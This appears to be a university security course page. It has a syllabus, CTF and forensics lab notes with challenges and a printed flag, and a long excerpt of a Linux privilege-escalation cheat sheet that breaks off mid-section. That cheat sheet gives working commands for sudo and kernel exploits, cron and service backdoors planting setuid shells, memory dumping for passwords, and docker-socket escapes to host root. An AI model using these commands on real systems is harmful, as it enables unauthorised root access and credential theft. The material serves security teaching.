Week 6 | +RE: De-compiling Program | +1. Assembly 2. From C to assembly 3. Disassemblers and Decompiles 4. Debugging with GDB |
+Week 6.md | +
Week 7 | +WLAN: Attacking WiFi | +1. WiFi attacking tools 2. Resume attack 3. WiFi crypto attack 4. Evil Twin |
+Week 7.md | +
Week 8 | +MISC: Physical Attacks | +1. BIOS 2. Bad USB 3. Attack printers |
+Week 8.md | +
Week 9 | +MISC: Social Engineering | +1. Cloning a website 2. Phishing |
+Week 9.md | +
Week 10 | +PWN: Privilege Escalation | +1. Gather vulnerabilities 2. Privilege escalation |
+Week 10.md | +
Week 11 | +CRYPTO: Public Key Crypto Attacking | +1. Traditional crypto 2. Hash functions 3. RSA |
+Week 11.md | +
Week 12 | +WEB: Attacking Websites | +1. OWASP top 10 2. Proxies vulnerabilities 3. User input vulnerabilities |
+Week 12.md | +
Week 13 | +PWN: ROL and ROP | +1. ROP 2. Dynamic ROP chain 3. ROL |
+Week 13.md | +
Week 14 | +CTF: Attack-Defense CTF | +1. Introduction 2. Environment set 3. Grading |
+Week 14.md | +
If you have any questions about the CTF part, feel free to contact me : liz33[at]mail.sustech.edu.cn
+ + + + + + + + +According to the @CTF101: https://ctf101.org/
+Capture The Flags, or CTFs, are a kind of computer security competition.
+Teams of competitors (or just individuals) are pitted against each other in a test of computer security skill.
+Very often CTFs are the beginning of one's cyber security career due to their team building nature and competitive aspect. In addition, there isn't a lot of commitment required beyond a weekend.
+ +Figure: CTFs on the CTFtime website.
+These contests run every month by various organizations and universities across the globe. These contests can be arranged in the 3 styles:
+Most of the CTFs are online, while some of them (usually finals) are offline. The most famous CTF is the DEF CON CTF, which is held every August annually.
+In our semester, every lab would have several CTF challenges in Jeopardy format. By the end of this semester, yet another AWD (Attack & Defense) CTF would be hold.
+In Jeopardy format CTFs, there are usually 5 categories:
+Forensics is the art of recovering the digital trail left on a computer. There are plenty of methods to find data which is seemingly deleted, not stored, or worse, covertly recorded.
+Cryptography is the reason we can use banking apps, transmit sensitive information over the web, and in general protect our privacy. However, a large part of CTFs is breaking widely used encryption schemes which are improperly implemented. The math may seem daunting, but more often than not, a simple understanding of the underlying principles will allow you to find flaws and crack the code.
+The word “cryptography” technically means the art of writing codes. When it comes to digital forensics, it’s a method you can use to understand how data is constructed for your analysis.
+Websites all around the world are programmed using various programming languages. While there are specific vulnerabilities in each programming langage that the developer should be aware of, there are issues fundamental to the internet that can show up regardless of the chosen language or framework.
+These vulnerabilities often show up in CTFs as web security challenges where the user needs to exploit a bug to gain some kind of higher level privileges.
+Reverse Engineering in a CTF is typically the process of taking a compiled (machine code, bytecode) program and converting it back into a more human readable format.
+Very often the goal of a reverse engineering challenge is to understand the functionality of a given program such that you can identify deeper issues.
+Binaries, or executables, are machine code for a computer to execute. For the most part, the binaries that you will face in CTFs are Linux ELF files or the occasional windows executable. Binary Exploitation is a broad topic within Cyber Security which really comes down to finding a vulnerability in the program and exploiting it to gain control of a shell or modifying the program's functions.
+Some other categories growing up in recent years, like IoT (Internet of Thing) and AI.
+An important part of Forensics is having the right tools, as well as being familiar with the following topics:
+File Extensions are not the sole way to identify the type of a file, files have certain leading bytes called file signatures which allow programs to parse the data in a consistent manner. Files can also contain additional "hidden" data called metadata which can be useful in finding out information about the context of a file's data.
+File signatures (also known as File Magic Numbers) are bytes within a file used to identify the format of the file. Generally they’re 2-4 bytes long, found at the beginning of a file.
+Files can sometimes come without an extension, or with incorrect ones. We use file signature analysis to identify the format (file type) of the file. Programs need to know the file type in order to open it properly.
+You need to be able to look at the binary data that constitutes the file you’re examining. To do this, you’ll use a hexadecimal editor. Once you find the file signature, you can check it against file signature repositories such as Gary Kessler’s.
+The file above, when opened in a Hex Editor, begins with the bytes FFD8FFE0 00104A46 494600
or in ASCII ˇÿˇ‡ JFIF
where \x00
and \x10
lack symbols.
Searching in Gary Kessler’s database shows that this file signature belongs to a JPEG/JFIF graphics file
, exactly what we suspect.
File extension is used to uniquely describe a format of a particular file whereas file signature is the header information that is present in each file.
+Some operating systems (Windows like) use file extension to bind with applications to open the file, while some other operating systems check file signature in the header to guess the file format (file command in Unix).
+A media type (also known as a Multipurpose Internet Mail Extensions or MIME type) is a standard that indicates the nature and format of a document, file, or assortment of bytes. It is defined and standardized in IETF's RFC 6838.
+This type is identified in HTTP packets and DO NOT stipulate the real file format. For example, a MIME type image/jpg
means the transferred data LIKELY to be a JPEG image, but user can post a plain text
or anything
in real body.
┌────────────────┐
+ │ │
+ │ HTTP packe │
+ │ │
+ │ MIME:image/jpg │
+ │ │
+A ───────── │ ┌──┐ │ ─────────► B
+ │ │ │ │
+ │ │ │flag.jpg │
+ │ └─┬┘ │
+ │ │ │
+ └────┼───────────┘
+ │
+ │
+ ▼
+ ┌────────────────┐
+ │GIF89a\xc8\x00 │
+ │\x96\x00\xf7\x00│
+ │... │
+ └────────────────┘
+
+The file signature is GIF8
while the file extension is .jpg
, with the MIME type image/jpg
during HTTP transmission.
The given file is a GIF image instead of JPEG file.
+Metadata is data about data. Different types of files have different metadata. The metadata on a photo could include dates, camera information, GPS location, comments, etc. For music, it could include the title, author, track number and album.
+Potentially, any file metadata you can find could be useful.
+One of our favorite tools is exiftool, which displays metadata for an input file, including: - File size - Dimensions (width and height) - File type - Programs used to create (e.g. Photoshop) - OS used to create (e.g. Apple)
+Run command line: exiftool(-k).exe [filename]
and you should see something like this:
Let's take a look at File A's metadata with exiftool:
+File type
+ +Image description
+ +Make and camera info
+ +GPS Latitude/Longitude
+ +Timestamps are data that indicate the time of certain events (MAC): - Modification – when a file was modified - Access – when a file or entries were read or accessed - Creation – when files or entries were created
+Certain events such as creating, moving, copying, opening, editing, etc. might affect the MAC times. If the MAC timestamps can be attained, a timeline of events could be created.
+There are plenty more patterns than the ones introduced below, but these are the basics you should start with to get a good understanding of how it works, and to complete this challenge.
++
We know that the BMP files fileA and fileD are the same, but that the JPEG files fileB and fileC are different somehow. So how can we find out what went on with these files?
+ +By using time stamp information from the file system, we can learn that the BMP fileD was the original file, with fileA being a copy of the original. Afterward, fileB was created by modifying fileB, and fileC was created by modifying fileA in a different way.
+Follow along as we demonstrate.
+We’ll start by analyzing images in AccessData FTK Imager, where there’s a Properties window that shows you some information about the file or folder you’ve selected.
++
Here are the extracted MAC times for fileA, fileB, fileC and fileD: Note, AccessData FTK Imager assumes that the file times on the drive are in UTC (Universal Coordinated Time). I subtracted four hours, since the USB was set up in Eastern Standard Time. This isn’t necessary, but it helps me understand the times a bit better.
+ +Highlight timestamps that are the same, if timestamps are off by a few seconds, they should be counted as the same. This lets you see a clear difference between different timestamps. Then, highlight oldest to newest to help put them in order.
++
Identify timestamp patterns.
+ +Wireshark is a network protocol analyzer which is often used in CTF challenges to look at recorded network traffic. Wireshark uses a filetype called PCAP to record traffic. PCAPs are often distributed in CTF challenges to provide recorded traffic history.
+Upon opening Wireshark, you are greeted with the option to open a PCAP or begin capturing network traffic on your device.
+ +The network traffic displayed initially shows the packets in order of which they were captured. You can filter packets by protocol, source IP address, destination IP address, length, etc.
+ +In order to apply filters, simply enter the constraining factor, for example 'http', in the display filter bar.
+ +Filters can be chained together using '&&' notation. In order to filter by IP, ensure a double equals '==' is used.
+ +The most pertinent part of a packet is its data payload and protocol information.
+ +By default, Wireshark cannot decrypt SSL traffic on your device unless you grant it specific certificates.
+In order for a network session to be encrypted properly, the client and server must share a common secret for which they can use to encrypt and decrypt data without someone in the middle being able to guess. The SSL Handshake loosely follows this format:
+There are several ways to be able to decrypt traffic.
+Steganography is the practice of hiding data in plain sight. Steganography is often embedded in images or audio.
+You could send a picture of a cat to a friend and hide text inside. Looking at the image, there’s nothing to make anyone think there’s a message hidden inside it.
+ +You could also hide a second image inside the first.
+ +So we can hide text and an image, how do we find out if there is hidden data?
+ +FileA and FileD appear the same, but they’re different. Also, FileD was modified after it was copied, so it’s possible there might be steganography in it.
+FileB and FileC don’t appear to have been modified after being created. That doesn’t rule out the possibility that there’s steganography in them, but you’re more likely to find it in fileD. This brings up two questions:
+File are made of bytes. Each byte is composed of eight bits.
+ +Changing the least-significant bit (LSB) doesn’t change the value very much.
+ +So we can modify the LSB without changing the file noticeably. By doing so, we can hide a message inside.
+LSB Steganography or Least Significant Bit Steganography is a method of Steganography where data is recorded in the lowest bit of a byte.
+Say an image has a pixel with an RGB value of (255, 255, 255), the bits of those RGB values will look like
+1 | +1 | +1 | +1 | +1 | +1 | +1 | +1 | +
---|---|---|---|---|---|---|---|
+ | + | + | + | + | + | + | + |
By modifying the lowest, or least significant, bit, we can use the 1 bit space across every RGB value for every pixel to construct a message.
+1 | +1 | +1 | +1 | +1 | +1 | +1 | +0 | +
---|---|---|---|---|---|---|---|
+ | + | + | + | + | + | + | + |
The reason Steganography is hard to detect by sight is because a 1 bit difference in color is insignificant as seen below.
+ +Let’s say we have an image, and part of it contains the following binary:
+ +And let’s say we want to hide the character y inside.
+First, we need to convert the hidden message to binary.
+ +Now we take each bit from the hidden message and replace the LSB of the corresponding byte with it.
+ +And again:
+ +And again:
+ +And again:
+ +And again:
+ +And again:
+ +And again:
+ +And once more:
+ +Decoding LSB steganography is exactly the same as encoding, but in reverse. For each byte, grab the LSB and add it to your decoded message. Once you’ve gone through each byte, convert all the LSBs you grabbed into text or a file. (You can use your file signature knowledge here!)
+Steganography is hard for the defense side, because there’s practically an infinite number of ways it could be carried out. Here are a few examples: - LSB steganography: different bits, different bit combinations - Encode in every certain number of bytes - Use a password - Hide in different places - Use encryption on top of steganography
+Blind watermark is a kind of technique to embed one picture or string to another image. Just like the regular watermark, but the blind watermark cannot be detected by using human eyes. The transformed image is indistinguishable from the origin one.
+Furthermore, blind watermark should be able to bypass different types of processing of image. For example, rotating the picture should not broke the blind watermark. Some modern researches are focusing on the strong transform of the image, such like film the image from another screen.
+python encode.py --image ori.png --watermark watermark.png --result res.png
+
+
+python decode.py --original ori.png --image res.png --result extract.png
+
+
+A hexadecimal (hex) editor (also called a binary file editor or byte editor) is a computer program you can use to manipulate the fundamental binary data that constitutes a computer file. The name “hex” comes from “hexadecimal,” a standard numerical format for representing binary data. A typical computer file occupies multiple areas on the platter(s) of a disk drive, whose contents are combined to form the file. Hex editors that are designed to parse and edit sector data from the physical segments of floppy or hard disks are sometimes called sector editors or disk editors. A hex editor is used to see or edit the raw, exact contents of a file. Hex editors may used to correct data corrupted by a system or application. A list of editors can be found on the forensics Wiki. You can download one and install it on your system.
+Open fileA.jpg in a hex editor. (Most Hex editors have either a “File > Open” option or a simple drag and drop.)
+ +When you open fileA.jpg in your hex editor, you should see something similar to this:
+ +Your hex editor should also have a “go to” or “find” feature so you can jump to a specific byte.
+Every lab we will have 2 or 3 challenges about the topics this week. But in case the difficulty of the challenge, only the first 2 challenges are required. But if you want to fight CTF so hard, you can try the third one. Solving the third one would give you extra points for this lab and some prizes as well.
+For finishing the challenges, you may click this site: COMPASS CTF Platform and find the category CS315
. Other challenges are for CTF team members, but you also can finish them freely. After uploading the flag on the platform, you also need to upload a writeup to blackboard system to grade.
The writeup
is a file to describe how you solve the challenges and you need also post flag in it. The writeup would use to grade and in case you forget to submit the writeup, during the argue procedure, we would check the submission in platform.
(5 pt) Congratulations!
+Now in order to check whether you are a robot, you need to submit this flag to show that you are a real human!
+flag{w31com3_t0_CS315_c0Urs3!!!}
+
+The flag you submit should be flag{w31com3_t0_CS315_c0Urs3!!!}
, and the example writeup probably be:
Writeup.md
+I am a human so I copied the flag and submit it.
+Here is the flag:
+flag{w31com3_t0_CS315_c0Urs3!!!}
+
+The network is so bad that I can't even send TCP stream through Internet. Wondering if I can use "UDP streams"...
+ +Try to find flag
in this file, the flag format is: picoCTF{***}
Hint1: Wireshark may be useful.
+Solved the network problem yesterday, but I found some guy was sniffing my network traffic. I need to be careful to protect my flag. Decide to use HTTPS to submit my flag to web01.fruitinc.xyz
.
By the way, upload my super☆secret☆file to network disk.
+ + +Try to find flag
in this file, the flag format is: flag{y2***}
That hacker still got my flag! Fine, I'm going to send my file byte by byte. Besides, combined with my knowledge of programming, encryption, and stenography I'm going to fight the final round. WE ARE IN THE ENDGAME NOW.
+ +Try to find flag
in this file, the flag format is: flag{***}
This challenge is extremely hard. The winner will get a badge for solving this.
+ + + + + + + + +According to @Hacktricks: https://book.hacktricks.xyz/
+Let's starting gaining some knowledge of the OS running
+(cat /proc/version || uname -a ) 2>/dev/null
+lsb_release -a 2>/dev/null
+
+If you have write permissions on any folder inside the PATH
variable you may be able to hijacking some libraries or binaries:
echo $PATH
+
+Interesting information, passwords or API keys in the environment variables?
+(env || set) 2>/dev/null
+
+Check the kernel version and if there is some exploit that can be used to escalate privileges
+cat /proc/version
+uname -a
+searchsploit "Linux Kernel"
+
+You can find a good vulnerable kernel list and some already compiled exploits here: https://github.com/lucyoa/kernel-exploits and exploitdb sploits. +Other sites where you can find some compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
+To extract all the vulnerable kernel versions from that web you can do:
+curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
+
+Tools that could help searching for kernel exploits are:
+linux-exploit-suggester.sh +linux-exploit-suggester2.pl +linuxprivchecker.py (execute IN victim,only checks exploits for kernel 2.x)
+Always search the kernel version in Google, maybe your kernel version is wrote in some kernel exploit and then you will be sure that this exploit is valid.
+Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
+# make dirtycow stable
+echo 0 > /proc/sys/vm/dirty_writeback_centisecs
+g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
+https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
+https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
+
+Based on the vulnerable sudo versions that appear in:
+searchsploit sudo
+
+You can check if the sudo version is vulnerable using this grep.
+sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
+
+From @sickrov
+sudo -u#-1 /bin/bash
+
+Check smasher2 box of HTB for an example of how this vuln could be exploited
+dmesg 2>/dev/null | grep "signature"
+
+date 2>/dev/null #Date
+(df -h || lsblk) #System stats
+lscpu #CPU info
+lpstat -a 2>/dev/null #Printers info
+
+if [ `which aa-status 2>/dev/null` ]; then
+ aa-status
+ elif [ `which apparmor_status 2>/dev/null` ]; then
+ apparmor_status
+ elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
+ ls -d /etc/apparmor*
+ else
+ echo "Not found AppArmor"
+fi
+
+((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
+
+(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
+
+(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
+
+ (sestatus 2>/dev/null || echo "Not found sestatus")
+
+cat /proc/sys/kernel/randomize_va_space 2>/dev/null
+#If 0, not enabled
+
+If you are inside a docker container you can try to escape from it:
+https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout
+Check what is mounted and unmounted, where and why. If anything is unmounted you could try to mount it and check for private info
+ls /dev 2>/dev/null | grep -i "sd"
+cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
+#Check if credentials in fstab
+grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
+
+Enumerate useful binaries
+which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
+
+Also, check if any compiler is installed. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it (or in one similar)
+(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
+
+Check for the version of the installed packages and services. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges… +It is recommended to check manually the version of the more suspicious installed software.
+dpkg -l #Debian
+rpm -qa #Centos
+
+If you have SSH access to the machine you could also use openVAS to check for outdated and vulnerable software installed inside the machine.
+Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some application like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits
+Take a look to what processes are being executed and check if any process has more privileges that it should (maybe a tomcat being executed by root?)
+ps aux
+ps -ef
+top -n 1
+
+Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas detect those by checking the --inspect
parameter inside the command line of the process.
+Also check your privileges over the processes binaries, maybe you can overwrite someone.
You can use tools like pspy to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met.
+Some services of a server save credentials in clear text inside the memory. +Normally you will need root privileges to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials. +However, remember that as a regular user you can read the memory of the processes you own.
+If you have access to the memory of a FTP service (for example) you could get the Heap and search inside of it the credentials.
+gdb -p <FTP_PROCESS_PID>
+(gdb) info proc mappings
+(gdb) q
+(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
+(gdb) q
+strings /tmp/mem_ftp #User and password
+
+#!/bin/bash
+#./dump-memory.sh <PID>
+grep rw-p /proc/$1/maps \
+ | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
+ | while read start stop; do \
+ gdb --batch --pid $1 -ex \
+ "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
+done
+
+For a given process ID, maps shows how memory is mapped within that processes' virtual address space; it also shows the permissions of each mapped region. The mem pseudo file exposes the processes memory itself. From the maps file we know which memory regions are readable and their offsets. We use this information to seek into the mem file and dump all readable regions to a file.
+procdump()
+(
+ cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
+ while read a b; do
+ dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
+ skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
+ done )
+ cat $1*.bin > $1.dump
+ rm $1*.bin
+)
+
+/dev/mem
provides access to the system's physical memory, not the virtual memory. The kernels virtual address space can be accessed using /dev/kmem.
+Typically, /dev/mem
is only readable by root and kmem group.
strings /dev/mem -n10 | grep -i PASS
+
+To dump a process memory you could use:
+If you find that the authenticator process is running:
+ps -ef | grep "authenticator"
+root 2027 2025 0 11:46 ? 00:00:00 authenticator
+
+You can dump the process (see before sections to find different ways to dump the memory of a process) and search for credentials inside the memory:
+./dump-memory.sh 2027
+strings *.dump | grep -i password
+
+The tool https://github.com/huntergregal/mimipenguin will steal clear text credentials from memory and from some well known files. It requires root privileges to work properly.
+Feature | +Process Name | +
---|---|
GDM password (Kali Desktop, Debian Desktop) | +gdm-password | +
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | +gnome-keyring-daemon | +
LightDM (Ubuntu Desktop) | +lightdm | +
VSFTPd (Active FTP Connections) | +vsftpd | +
Apache2 (Active HTTP Basic Auth Sessions) | +apache2 | +
OpenSSH (Active SSH Sessions - Sudo Usage) | +sshd: | +
Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?).
+crontab -l
+ls -al /etc/cron* /etc/at*
+cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
+
+For example, inside /etc/crontab you can find the PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
+(Note how the user "user" has writing privileges over /home/user)
+If inside this crontab the root user tries to execute some command or script without setting the path. For example: root overwrite.sh
+Then, you can get a root shell by using:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
+#Wait cron job to be executed
+/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
+
+If a script being executed by root has a “*” inside a command, you could exploit this to make unexpected things (like privesc). Example:
+rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
+
+If the wildcard is preceded of a path like /some/path/* , it's not vulnerable (even ./* is not).
+Read the following page for more wildcard exploitation tricks:
+https://book.hacktricks.xyz/linux-unix/privilege-escalation/wildcards-spare-tricks
+If you can modify a cron script executed by root, you can get a shell very easily:
+echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
+#Wait until it is executed
+/tmp/bash -p
+
+If the script executed by root uses a directory where you have full access, maybe it could be useful to delete that folder and create a symlink folder to another one serving a script controlled by you
+ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
+
+You can monitor the processes to search for processes that are being executed every 1,2 or 5 minutes. Maybe you can take advantage of it and escalate privileges.
+For example, to monitor every 0.1s during 1 minute, sort by less executed commands and deleting the commands that have beeing executed all the time, you can do:
+for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
+
+You can also use pspy (this will monitor and list every process that start).
+It's possible to create a cronjob putting a carriage return after a comment (without new line character), and the cron job will work. Example (note the carriege return char):
+#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
+
+Check if you can write any .service
file, if you can, you could modify it so it executes your backdoor when the service is started, restarted or stopped (maybe you will need to wait until the machine is rebooted).
+For example create your backdoor inside the .service file with ExecStart=/tmp/script.sh
Keep in mid that if you have write permissions over binaries being executed by services, you can change them for backdoors so when the services get re-executed the backdoors will be executed.
+You can see the PATH used by systemd with:
+systemctl show-environment
+
+If you find that you can write in any of the folders of the path you may be able to escalate privileges. You need to search for relative paths being used on service configurations files like:
+ExecStart=faraday-server
+ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
+ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
+
+Then, create a executable with the same name as the relative path binary inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (Start, Stop, Reload), your backdoor will be executed (unprivileged users usually cannot start/stop services but check if you can using sudo -l
).
Learn more about services with man systemd.service
.
Timers are systemd unit files whose name ends in . timer that control . service files or events. Timers can be used as an alternative to cron. Timers have built-in support for calendar time events, monotonic time events, and can be run asynchronously.
+You can enumerate all the timers doing:
+systemctl list-timers --all
+
+If you can modify a timer you can make it execute some existent systemd.unit (like a .service
or a .target
)
Unit=backdoor.service
+
+In the documentation you can read what the Unit is:
+++The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.
+
Therefore, in order to abuse this permissions you would need to:
+.service
) that is executing a writable binaryLearn more about timers with man systemd.timer
.
In order to enable a timer you need root privileges and to execute:
+sudo systemctl enable backu2.timer
+Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
+
+Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer
In brief, a Unix Socket (technically, the correct name is Unix domain socket, UDS) allows communication between two different processes on either the same machine or different machines in client-server application frameworks. To be more precise, it’s a way of communicating among computers using a standard Unix descriptors file. (From here).
+Sockets can be configured using .socket
files.
Learn more about sockets with man systemd.socket
. Inside this file some several interesting parameters can be configured:
ListenStream
, ListenDatagram
, ListenSequentialPacket
, ListenFIFO
, ListenSpecial
, ListenNetlink
, ListenMessageQueue
, ListenUSBFunction
: This options are different but as summary as used to indicate where is going to listen the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen...).Accept
: Takes a boolean argument. If true, a service instance is spawned for each incoming connection and only the connection socket is passed to it. If false, all listening sockets themselves are passed to the started service unit, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. Defaults to false. For performance reasons, it is recommended to write new daemons only in a way that is suitable for Accept=no
.ExecStartPre
, ExecStartPost
: Takes one or more command lines, which are executed before or after the listening sockets/FIFOs are created and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.ExecStopPre
, ExecStopPost
: Additional commands that are executed before or after the listening sockets/FIFOs are closed and removed, respectively.Service
: Specifies the service unit name to activate on incoming traffic. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option.If you find a writable .socket
file you can add at the beginning of the [Socket]
section something like: ExecStartPre=/home/kali/sys/backdoor
and the backdoor will be executed before the socket is created. Therefore, you will probably need to wait until the machine is rebooted.
+Note that the system must be using that socket file configuration or the backdoor won't be executed
If you identify any writable socket (now where are talking about Unix Sockets, not about the config .socket
files), then, you can communicate with that socket and maybe exploit a vulnerability.
netstat -a -p --unix
+
+#apt-get install netcat-openbsd
+nc -U /tmp/socket #Connect to UNIX-domain stream socket
+nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
+
+#apt-get install socat
+socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
+
+Exploitation example:
+https://book.hacktricks.xyz/linux-unix/privilege-escalation/socket-command-injection
+Note that there may be some sockets listening for HTTP requests (I'm not talking about .socket files but about the files acting as unix sockets). You can check this with:
+curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
+
+If the socket respond with a HTTP request, then you can communicate with it and maybe exploit some vulnerability.
+The docker socket is typically located at /var/run/docker.sock
and is only writable by root
user and docker
group.
+If for some reason you have write permissions over that socket you can escalate privileges.
+The following commands can be used to escalate privileges:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
+docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
+
+If you have access to docker socket but you can't use the docker binary (maybe it isn't even installed), you can use directly the web API with curl
.
The following commands are a example to create a docker container that mount the root of the host system and use socat
to execute commands into the new docker.
# List docker images
+curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
+##[{"Containers":-1,"Created":1588544489,"Id":"sha256:<ImageID>",...}]
+# Send JSON to docker API to create the container
+curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
+##{"Id":"<NewContainerID>","Warnings":[]}
+curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
+
+The last step is to use socat
to initiate a connection to the container, sending an attach request
socat - UNIX-CONNECT:/var/run/docker.sock
+POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
+Host:
+Connection: Upgrade
+Upgrade: tcp
+
+#HTTP/1.1 101 UPGRADED
+#Content-Type: application/vnd.docker.raw-stream
+#Connection: Upgrade
+#Upgrade: tcp
+
+Now, you can execute commands on the container from this socat
connection.
Note that if you have write permissions over the docker socket because you are inside the group docker
you have more ways to escalate privileges. If the docker API is listening in a port you can also be able to compromise it.
If you find that you can use the ctr
command read the following page as you may be able to abuse it to escalate privileges:
https://book.hacktricks.xyz/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation
+If you find that you can use the runc
command read the following page as you may be able to abuse it to escalate privileges:
https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation
+D-BUS is an inter-process communication (IPC) system, providing a simple yet powerful mechanism allowing applications to talk to one another, communicate information and request services. D-BUS was designed from scratch to fulfil the needs of a modern Linux system.
+D-BUS, as a full-featured IPC and object system, has several intended uses. First, D-BUS can perform basic application IPC, allowing one process to shuttle data to another—think UNIX domain sockets on steroids. Second, D-BUS can facilitate sending events, or signals, through the system, allowing different components in the system to communicate and ultimately to integrate better. For example, a Bluetooth daemon can send an incoming call signal that your music player can intercept, muting the volume until the call ends. Finally, D-BUS implements a remote object system, letting one application request services and invoke methods from a different object—think CORBA without the complications. (From here).
+D-Bus uses an allow/deny model, where each message (method call, signal emission, etc.) can be allowed or denied according to the sum of all policy rules which match it. Each or rule in the policy should have the own
, send_destination
or receive_sender
attribute set.
Part of the policy of /etc/dbus-1/system.d/wpa_supplicant.conf
:
<policy user="root">
+ <allow own="fi.w1.wpa_supplicant1"/>
+ <allow send_destination="fi.w1.wpa_supplicant1"/>
+ <allow send_interface="fi.w1.wpa_supplicant1"/>
+ <allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
+</policy>
+
+Therefore, if a policy is allowing your user in anyway to interact with the bus, you could be able to exploit it to escalate privileges (maybe just listing for some passwords?).
+Note that a policy that doesn't specify any user or group affects everyone (<policy>
).
+Policies to the context "default" affects everyone not affected by other policies (<policy context="default"
).
Learn how to enumerate and exploit a D-Bus communication here:
+ +It's always interesting to enumerate the network and figure out the position of the machine.
+#Hostname, hosts and DNS
+cat /etc/hostname /etc/hosts /etc/resolv.conf
+dnsdomainname
+
+#Content of /etc/inetd.conf & /etc/xinetd.conf
+cat /etc/inetd.conf /etc/xinetd.conf
+
+#Interfaces
